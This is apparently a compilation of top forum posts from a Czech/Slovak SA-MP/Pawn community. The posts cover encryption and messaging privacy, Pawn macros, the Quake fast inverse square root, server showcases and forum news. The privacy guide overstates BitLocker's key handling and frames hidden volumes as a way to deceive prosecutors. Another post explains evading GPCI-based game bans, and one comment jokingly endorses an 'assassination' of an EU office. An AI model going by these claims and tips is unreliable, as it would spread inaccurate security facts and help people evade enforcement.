pred súd. Sudca vám prikáže rozšifrovať zašifrované súbory, inak vás pošle do vezenia, až dokým nevyzradíte heslo. A tak mu vaše heslo poviete, lenže všetko čo nájde sú len rôzne por... exotické videá. Naštvaný prokurátor sa vás opýta, aké je heslo k vašim skrytým súborom v týchto súboroch, ale vy mu poviete, že tam žiadne niesu. A to, či tam sú sa nijako nedá zistiť, takže vás musia pustiť. Potom si len zadáte svoje druhé heslo do VeraCryptu a veselo si hackujete ďalej. Je ale kritické, aby ste PC vypli, než sa k nemu niekto dostane, keďže heslo sa zadáva len pri zapnutí PC a zapnutý PC môže používať každý. 2.2 BitLocker Nepoužívajte bitlocker. Ak vás zaujíma prečo, čítajte ďalej, ak nie, preskočte na ďalšiu sekciu. Bitlocker je šifrovacia aplikácia podobná VeraCryptu, ktorá je vyrobená Microsoft a pribalená priamo v niektorých Windowsoch. BitLocker síce funguje podobne ako VeraCrypt, ale s tým rozdielom, že keď niečo zašifruje, tak kľúče odošle priamo Microsoftu. Takže v predchádzajúcom príklade o súde sudca dostane všetky klúče hneď od Microsoftu a nemusí sa vás pýtať na nič. Hneď idete bručet. A nielen to, ale stačí aby niekto napríklad získal vaše heslo od Microsoft účtu, alebo mailu, alebo nejak inak presvedčil Microsoft, že ste to vy a môže vám resetovať heslo. 2.3 Windows Heslo V sekcii 2.1 som napísal, že windows heslo samé o sebe je úplne neefektívne a to je aj pravda. Avšak Windows heslo môže byť užitočné v kombinácii s napríklad VeraCryptom. VeraCrypt pýta heslo len keď zapnete počítač. Lenže od zapnutého počítača musíte často na chvíľu odísť. Preto je vhodné si na tú chvíľu zhačknúť widnows+L alebo ctrl+alt+del alebo a vybrať "zamknúť". Obísť windows heslo bez vypnutia PC je zložité, aj keď nie nemožné. Pre Windows heslo vám stačí niečo jednoduché, napríklad len pár čísiel, alebo jedno dve slová/mená. Úlohou tohoto hesla je len odradiť náhodné mašírovanie od súrodencov, spolubývajúcich a kolegov na tú chvíľu, kým ste preč od PC. Môžete si taktiež nastaviť, aby sa vám PC zamkol po niekoľkých minútach bez používania. 2.4 Heslo na telefóne Pre androiďákov tu, ak chcete mať svoj telefón v bezpečí, je nutné si zapnúť šifrovanie telefónu v nastaveniach a taktiež šifrovanie karty SD, ak nejakú máte a chcete ju v bezpečí. Používanie odtlačku prstu nestačí, keďže odtlačky sa zatiaľ nedajú použiť na šifrovanie. Ak používate biometriku, nieje zlý nápad si taktiež stiahnuť aplikáciu typu FindMyPhone alebo niečo podobné, ktorá vám umožní zamknúť telefón na heslo na diaľku. Taktiež si pamätajte, že pre súd je ťažké a vo veľa krajinách nelegálne vás donútiť vyzradiť heslo, ale jednoduché vás donútiť priložiť prst k snímaču, alebo zobrať vaše odtlačky. 2.5 Súkromný chat (s telefónnym číslom) Pre bezpečný chat momentálne platí jednoduché pravidlo, čím bezpečnejšie, tým menej vychtávok ako napríklad nálepky a menej ľudí, ktorý to používajú. Najpoužívanejšia chatová aplikácia, ktorá je aspoň ako tak bezpečná je Messanger, keď používate tajné konverzácie. Messanger používa Signal protokol. Tento protokol je považovaný za veľmi bezpečný, avšak to, že používate tajné konverzácie je nápadné a FB ukladá metadáta. To znamená, že FB nevie, o čom si píšete, ale vie, kedy, s kým, ako dlho, koľko správ a približne ako dlhých. To nieje ideálne. Taktiež to funguje len cez telefón, nie PC. Taktiež vám appka pre telefón z telefónu kradne telefónne čísla a odosiela vašu polohu GPS. Druhá často používaná aplikácia je WhatsApp. Táto aplikácia používa Signal protokol na všetky konverzácie, aj na hlasové hovory. Avšak WhatsApp je momentálne vlastnený Facebookom, takže FB taktiež zbiera vaše metadáta (kdo, kde, kedy, s kým, koľko, ako dlho). Taktiež pre FB kradne vaše telefónne číslo, ako aj čísla všetkých vašich kontaktov v telefóne. Či kradne vašu GPS polohu momentálne neviem. Najbezpečnejšia, ale najmenej populárna apka je Signal. Áno, apka menom Signal používa Signal protokol na všetko. Ide o appku priamo od vývojárov Signal protokplu a verejne ju chválil aj Edward Snowden. Signal zaručuje, že neukladá žiadne metadáta ani telefónne čísla vašich kontaktov (aj keď ich odosielať pre fungovanie musí). Signal je Open-Source aplikácia a jej kód, vrátane kódu serveru si teda môžete overiť. Signal momentálne pracuje na spôsobe, ako overiť, že servery naozaj používajú zverejnený kód (a nie kód, ktorý ukladá informácie) pomocou Intel Trusted Platform. 2.6 Súkromný chat (bez telefónneho čísla) Bohužial, aplikácií ktoré nevyžadujú telefónne čisla nieje veľa a sú pomerne neznáme a nepoužívané. Ja osobne som zatiaľ skúšal Wire a Tox. Obe su open-source, ale ani jedna z nich ma nijak moc nenadchla. Wire je aplikácia, ktorá je zadarmo pre ľudí a platená pre firmy. Naposledy keď som ju skúšal bola plná bugov (aj keď na nej od tej doby zrejme zapracovali). Prešla však nezávislým auditom, čo znamená, že by mala byť relatívne bezpečná. Tox je nekomerčný projekt a používa P2P technológiu miesto serverov, takže nikto nemôže získavať metadáta. Avšak to taktiež znamená, že nemôžete poslať správu niekomu, kto nieje online, keďže nieje žiadny server, ktorý by mu ju zatiaľ podržal. Taktiež Tox neprešiel žiadnym auditom a jeho tvorcovia sa chovajú dosť nevhodne, čo sa bezpečnej aplikácie týka. Preto bezpečnosť toxu je značne pochybná. 3. Poznámky 1. PIM (Personal Iteration Multiplier) spôsobuje, že prevedenie hesla na kľúč trvá nejakú dobu, v prípadne KeePass 1-2 sekundy. Preto sa zdá, že otváranie KeePassu je pomalé. Ale vďaka tomu niekto, kto tipuje heslá taktiež musí čakať na každý pokus 1 sekundu (na každom jadre CPU, ktoré má). Takže napríklad prelomiť osemmiestne heslo, ktoré je len z číslic (napr. 8428 1158) by normálne trvalo na bežnom PC 5-10 minút bez PIM a cca 4 roky s PIM. PIM je super!
    7 points
  9. Patrně se vám již stalo, že jste otevřeli soubor, aniž byste ho poté zase zavřeli, či jste zapomněli smazat výsledek dotazu SQLite apod. Možná z vyšších programovacích jazyků znáte příkaz using či try-with-resources a litujete, že něco takového není i v Pawnu. To ale může být! #define using(new%9\32;%0:%1=%2) for(new %0@guard:guard@%1=(%0@guard:%2),%0:%1=(%0:guard@%1);_:%1!=cellmin;_:%1=cellmin) Stačí tento řádek, abyste hned mohli vesele začít používat using na libovolné výrazy, jakmile dodefinujete destruktor. Je pravděpodobné, že jste o destruktorech ještě neslyšeli, poněvadž v dokumentaci o nich není ani zmínka, ale principiálně se jedná o něco podobného, jako je automatické mazání proměnných v C++. Pokud má určitý tag definován destruktor, zavolá se tento v momentě, kdy je ukončen blok obsahující proměnnou s tímto tagem. Jednoduchý destruktor příkazu using pro tag File: vypadá takto: stock operator~(File@guard:arr[], count) { for(new i = 0; i < count; i++) { if(_:arr[i] != 0) fclose(File:arr[i]); } } Destruktor dostane jako parametr pole všech hodnot, které opustily blok, a jeho velikost. Tento destruktor se tedy zavolá vždy, pokud proměnná s tagem File@guard: (to je jen název) opustí blok. Makro using zařídí, že taková proměnná bude existovat vždy, když se takový blok otevře, a destruktor se zavolá při každém vyskočení z bloku. Např. příkaz using(new File:f = fopen("file", io_read)) se přetransformuje na toto: for(new File@guard:guard@f = File@guard:fopen("file", io_read), File:f = File:guard@f; _:f != cellmin; _:f = cellmin) Toto zneužívá sémantiku cyklu for k tomu, aby spustilo nějaký kód na začátku a na konci bloku. Napřed se vytvoří dvě proměnné - guard@f a f. První obsahuje vrácenou hodnotu, druhá její kopii. Hodnota cellmin je použita jako ukončovací; na konci bloku je nastavena a v dalším průchodu ukončí cyklus. Mohl bych použít klasický for s jednoprvkovým intervalem, ale tohle mi přijde elegantnější. Teď k té důležité části: jakmile řízení opustí cyklus, proměnná guard@f zmizí a tedy se spustí její destruktor, který zavře soubor. Zbývá otázka - k čemu destruktor? Pokud mohu vyvolat kód na konci bloku, proč smazání nedám tam? Proto: using(new File:f = fopen("f", io_read)) { return; } Bez destruktorů by se soubor nikdy nezavřel, protože řízení opustí funkci ještě před ukončením cyklu. Naopak destruktor je vyvolán i v případě, kdy se cyklus opouští násilně, tedy příkazem break, return nebo exit (ale ne goto a sleep). Díky tomuto se chová using tak, jak by měl.
    7 points
  10. Normalne konecne zaujimava tema, az som sa sem po dlhych rokoch musel znova registrovat. Ak si spravne pamatam, tak hash ktory vrati gpci, neni cesta v Program files (ta je snad vzdy rovnaka), ale je to cesta k GTA San Andreas User folderu, coz je nekde v C:/Users/username/Documents/GTA San Andreas... Takze ak je moj Windows username napr. "honza", tak je velmi vysoka sanca ze sa jeho gpci bude zhodovat s niekym inym - pretoze milion dalsich ludi ma rovnaky Windows username. tl;dr aby sa clovek dokazal vyhnut banu na gpci, na 90 percent pomoze vytvorenie noveho accountu vo windows a nainstalovanie GTA SA tam. Ale inak velke servery na toto maju zvycajne este aj nejake dodatocne checky, takze to co nazyvas ty "HW" ban, je len kombinacia locknuteho uctu, GPCI checku, klasickeho banu na IP a pripadne ešte nejakych dalsich checkov - za mojej ery to takto fungovalo - a prekvapivo celkom stabilne.
    6 points
  11. Úvod Už nějaký ten pátek dělám na tomto módu přesněji od 24.3.2020 kdy jsem se rozhodl že se trochu ponořím do pawna. Beru to spíš jako koníček co mě baví ne jak někteří co dělají mód ve stylu hop šup udělám to co nejrychleji, nasypu tam totálně broken coin systém ať vydělám love a vypnu server, takhle teda ne. Popravdě zatím vám nemůžu oznámit že bude nějaké otevření jde čistě o ukázku módu, co obsahuje atd. Chci vám tedy představit Hood Life Roleplay zkráceně HLRP, jde o lowrp mód se kterým si dávám dosti záležet. Půjde jak už z názvu můžete usoudit o téma "hoodu/ghetta" kde budete přežívat, vydělávat, užívat si zkrátka to co mód nabízí. Hlavní roli bude taky hodně hrát těžká ekonomika takže pokud budete chtít vlastnit něco cool tak to zabere nějakej ten čas, zkrátka to nebude že "jou za den mám barák a auto". Ze začátku/prvních pár dní budete mít možná tak kolo a byt v bytovce na pár dní. Zásadně nechci dělat nějaký P2W systém který vám lusknutím prstů vytvoří vilu a llamborghini, jen tak pro info. Ještě sem později něco víc napíšu zatím to stačí. ...wip... Informace SAMP verze: 0.3.DL / Verze GM: 0.2.4 (closed beta) / Developer: M1KE / Částečná výpomoc(mapping atd): Paule,Nass,W1lly,monkys Ukázka Novinek btw není tu zapsáno/ukázáno úplně všechno co bylo přidáno nebo změněno 6.6.2020 [v 0.2.6] [NEW] 10.5.2020 [v 0.2.4] 6.5.2020 Původní základ
    6 points
  12. Zdravím vás, po delší odmlce, ze zdravotních důvodů a poté částečně z rodinných a profesních důvodů, jsem tu zpět s dalším progressem. Jak bylo slíbeno, tak bylo dříve i založeno a dnes představuji transparentní účet pro účely chodu a rozvoje fóra. Prostředky budou využity pro chystaný prize-pool, update fóra, reklamu a další chystané akce v rámci Pawno.cz Odkaz: https://ib.fio.cz/ib/transparent?a=2102236144 Číslo účtu: 2102236144/2010 IBAN: CZ4520100000002102236144 BIC: FIOBCZPPXXX Banka: Fio banka, a.s., V Celnici 1028/10, 11721 Praha 1 Jedná se o dobrovolný příspěvek pro chod fóra, pokud si svůj příspěvek rozmyslíte, do měsíce mi dejte vědět a vrátíme vám peníze zpátky. Veškeré odchozí platby se zavazuji pečlivě popsat a definovat k čemu jsou využity Fio banka mi bohužel nedovolila účet přejmenovat, název je vázaný na mé jméno a pro vlastní název by fórum muselo figurovat jako s.r.o. (tak možná časem )
    6 points
  13. Zdravím, po letech strávená na SA-MP jsem se rozhodl posunout SuperPařbu i na FiveM. Zde trailer
    6 points
  14. Já bych hlasoval o to, aby EU nic neregulovala, protože všechno jenom jebe... To je takhle a ona regulace, člověk se v tom ztrácí a pak zjistí, že si musí kupovat extra kabel, protože EU zakazuje prodej mobilu s nabíječkou - ne nezakazuje prodávat nabíječky, ale prodej nabíječky s telefonem. Třeba automobilovej průmysl je na hranici fyziky. Objem 1cmm by podle nich měl utáhnout nákladní vlak a ideálně aby spotřeba byla 0.1l/100km. Zakáže prodávat pomazánkové máslo protože to není máslo, rum protože to není rum. Brčka protože plast je rakovina a papír je v pohodě. (Udělal jsem si zásobu brček než se uplně přestanou prodávat, doporučuji všem. A takhle by se dalo pokračovat. Nejsem pro vystoupení z unie, ale atentát na ten ouřad bych schvaloval. Až bude trochu méně vymejšlet kraviny, tak možná změním postoj.
    6 points
  15. Ahoj, jelikož jsem měl teď menší zkušenost s tím, že lidé moc neznají git nebo jakýkoliv jiný verzovací systém, tak se chci zeptat, kolik lidí co zde programuje nebo se učí nebo jen tak něco zkouší, tak používá verzovací systém? Na základě ankety bych zde případně udělal návod na verzovací - co to je, k čemu to je dobré a základní ovládání.
    6 points
  16. Ahojte. Na základe nedávneho príspevku som sa rozhodol spraviť include na čítanie a zápis dát. Tento include vyžaduje mať nainštalovaný plugin PawnPlus <- LINK Prečo? V scripte sú použité utriedené mapy pre optimalizáciu hľadania údajov. Prejdeme teda na použitie. Toto vložíme na začiatok vášho GM - načíta tento include do vášho GM #include <fSystem> Takto otvoríme súbor: Obsah súboru sa uloží do pamäte a je možné ho modifikovať až do doby, než súbor zatvoríte. V prípade že súbor neexistuje, vytvorí sa. new subor = DataOpen("test.txt"); // trva asi 700 tickov ak je v subore 100 000 dat // new subor obsahuje identifikator nasho suboru ktory sa pouziva vo funkciach Uložíme dáta do súboru: Maximálna dĺžka kľúča je 24. Dáta sa neuložia hneď, ukladajú sa až pri zatvorení súboru. Dáta sú ihneď dostupne, nie je potrebne zatvárať súbor, avšak bez zatvorenia súboru sa dáta neuložia! // pre demonstraciu sa ulozi 100 000 dat do suboru - pri testoch cca do 250 tickov (GetTickCount) new kluc[25]; for (new i = 0; i < 100000; ++i) { format(kluc, sizeof(kluc), "riadok%d", i); DataSetS(subor, kluc, "ahoj"); // ulozi string/array // DataSet -> ulozi integer (new) // DataSetF -> ulozi float } // kluc -> kluc pod ktorym sa ulozia nase data "ahoj" Načítame dáta zo súboru: Maximálna dĺžka kľúča je 24. // pre demonstraciu precitame 100 000 udajov, trvanie asi 150 tickov new kluc[25]; for (new i = 0; i < 100000; ++i) { format(kluc, sizeof(txt), "riadok%d", i); DataGetS(subor, kluc)); // nacita string/array // DataGet(subor, kluc) -> nacita integer // DataGetF(subor, kluc) -> nacita float if (i % 1000 == 0) { printf("%d -> %s", i, DataGetS(tst, txt)); } } Zatvoríme súbor: Pri zatvorení súboru sa ukladajú dáta do súboru. DataClose(subor); Ak chceme zatvoriť všetky súbory: DataCloseAll(); Na záver by som chcel požiadať o spätnú väzbu, či už kladnú alebo nie, vždy však poprosím aj nejaký popis. Poznámka: Odporúčam použiť novšiu verziu prekladača (napr. 3.10.0.0) fSystem.inc
    6 points
  17. Jestliže se mi to povede, tenhle topic by měl vyjít přesně na nový rok... (Skoro, o jednu minutu, sakra...) Happy New Year.
    6 points
  18. Zdravím, rád bych se podělil o můj nález alternativy na dnes již bohužel nefunkční wiki.sa-mp.com. Myslím si, že je to dost podobné :-) https://sampwiki.blast.hk/wiki/Main_Page nebo taky https://open.mp/docs Mějte se krásně! Josef
    6 points
  19. Zdravím přátelé, zase jsem narazil na zajímavý kousek kódu (evidentně již celkem profláknutej kousek kódu), který byl proslaven hrou Quake 3 Arena. jedná se o extrémně rychlou funkci pro výpočet Která v klasické funkci není přímo lehká pro výpočet (škodlivá pro time budget procesoru). Nicméně kdysi dávno ještě před Johnem Carmackem a Quakem se objevil kdosi jménem Greg Walsh, který s touto magií přišel nejspíše první a trochu zachránil svět 3D grafiky v dobách, kdy zobrazení beztexturové krychle na obrazovce trvalo dvě a půl vteřiny. K čemu se tato funkce vůbec využívá a proč to byl takový hit 3D světa? Protože zrovna tato funkce je zásadní pro výpočet kolmic povrchů 3D objektů, zastoupené 3D vektory o délce 1, pro vyjádření osvícení a odrazů. Těchto výpočtů probíhá spousta najednou a jejich výpočet zahrnuje normalizaci velkého množství vektorů. A jak se normalizuje vektor? Zjistíš délku vektoru a vydělíš s ní každou jeho část (x,y,z) - tedy vynásobíš každou část formulí: Výpočet samotného x2 + y2 + z2 je relativně rychlý a jednoduchý. Hledání odmocniny a její využití v dělení je náročné. Originální funkce z Quake III Arena: float Q_rsqrt( float number ) { long i; float x2, y; const float threehalfs = 1.5F; x2 = number * 0.5F; y = number; i = * ( long * ) &y; // evil floating point bit level hacking i = 0x5f3759df - ( i >> 1 ); // what the fuck? y = * ( float * ) &i; y = y * ( threehalfs - ( x2 * y * y ) ); // 1st iteration // y = y * ( threehalfs - ( x2 * y * y ) ); // 2nd iteration, this can be removed return y; } Jedná se o malou a velmi efektivní rychlou super funkci. Na první pohled nás nejspíš všechny zaujal řádek "what the fuck?" - jedná se právě o to kouzlo celé funkce. Greg totiž přišel na způsob jakým efektivně napodobit matematickou funkci log2 , která se využívá při výpočtu "náročným" způsobem a kompletně ji obešel (tím odlehčil náročnost na výpočet). Kompletní matematické rovnice vám nevysvětlím já, nýbrž je najdete v přiložených zdrojových dokumentech, ve kterých jsem čerpal (ale je to fakt advanced shit, ne-matikářům to zruší hlavu). Co se ve funkci vlastně tedy děje? Do proměnné x2 si uložíme polovinu z čísla Do proměnné y zkopírujeme naše číslo Změna typu čísla z float na integer (odstranění desetinné čárky na bit-levelu bez ztráty mantisy) Posunutí bitů integeru o 1 doprava (bit exponentu se přesune do mantisy) a výsledek se odečte od magic konstanty Přetypování zpět na float Dovýpočet přesnosti pomocí Newtonovi metody (1 iterace) (případná druhá iterace pro ještě přesnější výsledek) Jak přesně funguje float na bit-levelu? Float na bit-levelu má tři části - sign, exponent a mantissa. Sign určuje znaménko čísla (pozitivní nebo negativní číslo). Exponent může být pozitivní i negativní, na bit-levelu je ale uložen jako unsigned (to je určeno pomocí sign části floatu). Hodnoty všech nul jsou rezervované pro nulové nebo neexistující výsledky a hodnoty všech jedniček jsou rezervované jako reprezentace nekonečna nebo neznámého. Mantisa je signifikantní číslo, které po umocnění exponentem, představuje uloženou hodnotu (první bit se neukládá - předpokládá se, že je vždy 1) Bit shift operátor v tomto případě posunul jeden bit exponenta do mantisy a tím efektivně celé číslo vydělil 2. Poté odečítáme celé číslo od konstanty, která jako zázrakem vytvoří z našeho čísla relativně přesný odhad výpočtu odmocniny. Nikdo už se neshodl jakým způsobem bylo původní číslo nalezeno, nicméně existuje několik metod k nalezení toho nejlepšího (podrobnosti v odkazech na zdroje). I když je tato funkce v moderní době irelevantní (moderní procesory a mikročipy se naučili pracovat s floating-point čísly efektivněji), její rychlosti se dalo využívat až do začátku 21. století, kdy už výkon floating-point logiky dohnal výkon integer výpočtů. Ale do té doby to byl nejlepší algoritmus v 3D grafice. Zdroje: https://en.wikipedia.org/wiki/Floating-point_arithmetic https://en.wikipedia.org/wiki/Fast_inverse_square_root http://h14s.p5r.org/2012/09/0x5f3759df.html (Podrobnější popis celé funkce) http://www.lomont.org/papers/2003/InvSqrt.pdf (Detailní výpočet magic konstanty)
    6 points
  20. https://california-rp.eu https://discord.gg/CdJz6SG
    6 points
  21. RALLY SCRIPT Spolu s tímom C-RP sme v posledných dňoch pracovali na novej feature využiteľnej napríklad pri eventoch a to rallye tuning vozidiel - pridáva 4 upravené vozidlá (Landstalker, Blista Compact, Sultan, Club) ktoré sú vybavené na jazdu rallye. Script zahŕňa rôzne funkčné objekty na aute (polepy od sponzorov, lampy) ktoré fungujú rozlišne podľa užívateľa a nastavenia administrátorom. Každé vozidlo má jedinečné očíslovanie. V scripte sa nachádza simulovaný efekt streľby z výfuku zachytený na videách nižšie. Všetky objekty a modely (okrem upravených OffRoad kolies, ktoré sú modifikácia) sú na serveri a vidia ich všetci hráči, nevyžadujú žiadne modifikácie. Tento script nájdete po spustení plnej verzie (aktuálne open beta) na https://california-rp.eu
    6 points
  22. Zdravím vás přátelé, poslední týden jsme jednali společně s @lvalenta o prodeji fóra. Tímto bychom rádi oznámili, že prodej je úspěšně zakončený a já tímto oznámením přebírám vlastnictví fóra. Chtěl bych zároveň poděkovat Lukášovi za zachování fóra a této komunity v podobném stavu jako mu ji předal chytrák a nevytvořil z toho žádný komerční produkt zaměřený na výdělek Každopádně, rád bych toto fórum znovu probudil a vytáhl na výsluní stejně jako za dob rozkvětu GTA:SA a s tímto budu potřebovat nejen pomoc admin týmu, ale i vás jako komunity. Určitě nehodlám měnit původní jádro fóra a komunity, ale každopádně budeme muset provést mírnou restrukturalizaci a dodat fóru nový dech a směr. Doufám, že společně fórum opět probudíme a posuneme ho směrem, který jej opět zařadí mezi špičkové komunity nejen programátorského, ale i herního světa.
    6 points
  23. Určitě jste si všimli , že jsme prodělali jakýsi rollback o zhruba rok a půl. Původcem tohoto rolbacku jsem bohužel já. Moc rád bych to měl na koho hodit ale je to má chyba. Co se stalo ? Inu čistil jsem iíspcofig od projektů , které již byli hotové nebo jinak uzavřené a mazal jsem i databáze. Bohužel mezi nimi byla databáze s názvem c4_pawnotemp což byla produkční databáze tohoto webu. Díky přívlastku temp jsem si ničeho nevšiml a pokračoval v mazaní. Dostal jsem se k i mazání záloh ( ktere jsem jinak dělal každé 4 hodiny ) a z lenosti vymazal cely obsah složky ( cca 18,5 TB databázových záloh ) a šel spát. Bohužel druhý den ráno mi Spy donesl tu příšernou informaci o tom , ze forum neběží. Instatně mi došlo co se stalo a kdo za to může ( já ), Snažil jsem se soubory obnovit bohužel provider se do klientských serverů nemontuje tím pádem nedělají ani interní zálohy klientských strojů. Nejnovější zálohu databáze kterou se nám podařilo vyhrabat zde vidíte a je vázaná k datu 18.08.2018. Novější zálohu nikdo z moderátorů bohužel nemá protože spoléhali na mé systémové zálohy. Co je tedy celé co se stalo... Viníkem jsem já a má nepozornost a krátká paměť. Částečně se ještě pokusím fórum zrestaurovat pomocí waybackmachine minimálně po stránce rozložení.
    6 points
  24. História: Pôvodný herný mód San Francisco Bay bol vytvorený v roku 2009 ex-pawnerom vystupujúcim pod prezývkou _BuLLeT_. Od počiatku server náležal a bol sprostredkovaný portálom CrewZone. V roku 2012 však mód začal upadať a tak sa rozhodovalo o tom, či bude mód ďalej pokračovať ako TDM, alebo roleplay. Komunita nakoniec rozhodla o roleplayi a tak sa začal vyvíjať prvý československý roleplay gamemód, ktorým bolo SFB-RP v1.2. Mód obsahoval mnoho chýb a nedostatkov, tie sa ale počas tých rokov podarilo obmedziť na ich minimum. Po vydaní verzie 1.3 sa _BuLLeT_ rozhodol ukončiť svoje pôsobenie na vývoji SFB-RP a začal vyvíjať nový mód, Tales of War. Vývoja módu sa následne ujal _NosiK_, pretože vtedajšia komunita nechcela dopustiť, aby mód s jeho odchodom zanikol. SFB-RP si prešlo ráznymi zmenami v pravidlách a hlavne v systémoch, ktoré na SFB boli. V roku 2017 sa SFB-RP oddelilo od portálu Crew Zone a teraz funguje samostatne ako sfb-rp.cz. O momentálný vývoj módu sa stará Kubko, ktorý sa snaží script neustále zveľaďovať zavádzaním nových systémov na úrovni novodobých kvalít a rovnako optimalizovať, aby zabezpečil terajšej komunite len ten najlepší pôžitok z hrania. Čo server ponúka? Aktuálna verzia San Francisco Bay Roleplay v1.3.2 Build 5a ponúka tieto možnosti: Dynamický systém postáv prepojený s používateľským účtom na webe - pre pripojenie na server je potrebné mať registrovaný účet na webe, jedná sa o rýchly proces, po ktorom získate plný prístup do hry, UCP a fóra - po úspešnom prihlásení do hry pod zvoleným menom si môžete v grafickom prostredí do slotu vytvoriť postavu voľbou pohlavia, skinu a mena postavy - kliknutím na náhľad postavy a následným kliknutím na tlačítko "Spawn" bude vaša postava prenesená do herného roleplay sveta - medzi jednotlivými postavami je možné prepínať priamo v hre, bez nutnosti akéhokoľvek reštartu herného klienta Obr. 1 - Náhľad na výber postavy Legálne frakcie a povolania - v hre sa môžete pridať k štátnym frakciám ako je San Francisco Government, San Francisco Police Department, San Francisco Fire Department, Emergency Medical Services a San Francisco One News - medzi ostatné povolania patrí napríklad mechanik, vodič taxi, autobusu, kamiónu, čistič chodníkov, smetiar, natierač mostu, vodič prepravnej služby, rozvázač pizze, donutov... - každá frakcia má svoju hodnosťnú štruktúru, od ktorej sa pri výplate odvíja finančné ohodnotenie zamestnanca - výplata prichádza v intervale jednej hodiny a jej výška sa odvíja od viacerých faktorov (prac. doba, dodržanie prac. náplne...) - v šatni niektorých štátnych zložiek je k dispozícii niekoľko novo pridaných pracovných skinov (0.3.8) - frakcie ako je SFG a SFON dokážu vplývať na ekonomiku celého mesta (nastavenie DPH, mýta, poplatok za podanie inzerátu...) - okrem povolaní, je možnosť si privyrobiť brigádou nosenia bední, alebo chytaním rýb na mori - v prípade, že by vás práca prestala baviť, bude vám na úrad chodiť menšia podpora - dávky Obr. 2 - Zamestnanci EMS s novým objektom medicbagu a pracovným skinom Obr. 3 - Brigáda nosenia bedien Dynamický systém nelegálnych skupín - hráč si môže svoju nelegálnu skupinu nechať "zoficiálniť", čím obdrží ako leader svojej skupiny zaujímavé možnosti - nelegálna skupina si môže vybrať spôsob zisku zbraní, jednou je dovoz (rýchlejšia a drahšia možnosť) a druhou je výroba zbraní v sklade - spomínaný leader môže nastaviť sídlo svojej ilegálnej skupiny, spravovať členov, prideliť im akýkoľvek názov hodnosti, permisie... - každá skupina má v svojom sídle kasu, do ktorej môžu členovia prispievať a oprávnený aj vyberať peniaze či kontrolovať pohyby Obr. 4 - Prehľad základných informácii o skupine Obr. 5 - Zobrazenie všetkých členov skupiny Obr. 6 - Transakcie v kase Dynamický systém vozidiel - v meste sa nachádza niekoľko predajných miest, kde si môžete zakúpiť motorové vozidlo, loď, helikoptéru, bicykel... - súčasťou systému vozidiel je palivo (benzín, alebo nafta) a kufor, do ktorého je možné ukladať zbrane, alebo drogy - všetky vozidlá sú kupované za hernú menu, výnimku tvorí pár prémiových vozidiel, ktoré je možné kúpiť len za coiny - s kúpenými vozidlami je možné obchodovať s hráčmi, alebo ho predať okamžite za polovicu pôvodnej kúpnej ceny - udeliť permisiu na kúpené vozidlo (zamykanie, štartovanie) je inému hráčovi možné odovzdaním kľúčov - opraviť poškodené časti vozidla dokáže mechanik v dielni, okrem toho vie vozidlo upravovať; montovanie komponentov či tuningu - v dielni môže mechanik taktiež namontovať, alebo odmontovať bezpečnostný zámok či poistkovú skriňu niekoľkých stupňov - v prípade fatálneho poškodenia vám vozidlo dokáže odtiahnuť do dielni mechanik - s páčidlom sa môžete pokúsiť o prelomenie zámku vozidla a ukradnúť tak vozidlo naštartovaním cez "drátky" Obr. 7 - Dielňa Obr. 8 - Vlastné emergency lights Dynamický house systém - na serveri sa nachádza niečo cez 600 obývateľných domov, ktoré je možné zakúpiť - domy sa delia na: rodinné domy, byty, luxusné byty, vily a karavany - sú rozdelené podľa častí mesta; cena sa odvíja od koeficientu lukratívnosti danej štvrti - v domoch je použitých približne 22 vlastných nezariadených interiérov - interiér domu je možné zariadiť podľa svojich predstáv - položený nábytok sa dá tiež pretextúrovať na ľubovolnú textúru z hry - majiteľ domu môže nastaviť permisie na dom aj iným hráčom Garáže - ku každému domu je možnosť nechať si vytvoriť garáž - garáž je uzamykateľná a obsahuje dve parkovacie miesta Obr. 9 - Pickup domu Obr 10 - Jeden z interiérov Obr 11 - Garáž Damage systém - pokiaľ bude postava postrelená do ruky, začne sa vám pri mierení zbraňou kolísať obrazovka - v prípade postrelenia do nohy, vaša postava nebude môcť šprintovať a ani skákať - akonáhle zdravie vašej postavy klesne pod 20 percent, postava prejde do "wounded" fáze - v tomto štádiu bude vaša postava ležať nehybne na zemi, pokiaľ jej nikto nepomôže, zomrie - okolitý hráči si vedia príkazom zobraziť podrobnosti s informáciami o zraneniach Obr. 12 - Mŕtva postava MDC pre policajné zložky - príslušníci SFPD majú v každom služobnom vozidle a na stanici dostupnú policajnú databázu - momentálne obsahuje rôzne informácie z činnosti oddelenia a možnosť vyhľadávania osôb či vozidiel - v časti spravovania osoby je prezatiaľ možné len spravovať licencie a prezrieť si adresy bydliska Obr. 13 - Hlavná obrazovka Obr. 14 - Dopyt po vyhľadanej osobe Obr. 15 - Zoznam adries osoby Obr. 16 - Dopyt po vozidle Nový drug systém (už čoskoro na serveri) - drogy sú zobrazované vo vlastnom interaktívnom inventári - každá droga má po užití svoj okamžitý pozitívny efekt - čím väčšia je kvalita danej drogy, tým je efekt výraznejší (napr. nárast HP) - niektoré drogy je možné vyrobiť za pomoci kombinovania rôznych ingrediencii - užívanie návykových drog môže mať však aj negatívny efekt (závislosť) - zmierniť negatívne účinky dokáže EMS predpísaním vhodných liekov Obr. 13 - Inventár drog Obr. 14 - Drogy položené na zem A mnoho ďalších... (priebežne budem aktualizovať veci, ktoré som neuviedol) Ako sa pripojím? Domovskou adresou našich webových stránok je sfb-rp.cz/main, kde máte k dispozícii registráciu, či cestu na fórum, alebo UCP. Na fóre (board.sfb-rp.cz) nájdete všetky pravidlá serveru a zvyšné potrebné informácie k hraniu. Ak ste nováčik a nikdy ste nehrali roleplay nie je to absolútne žiadny problém, od toho máme náš ochotný Admin Team, ktorý vás s radosťou všetkému zaučí, tešíme sa na vás! IP serveru: samp.sfb-rp.cz:7777 TS3 server: ts3.sfb-rp.cz
    6 points
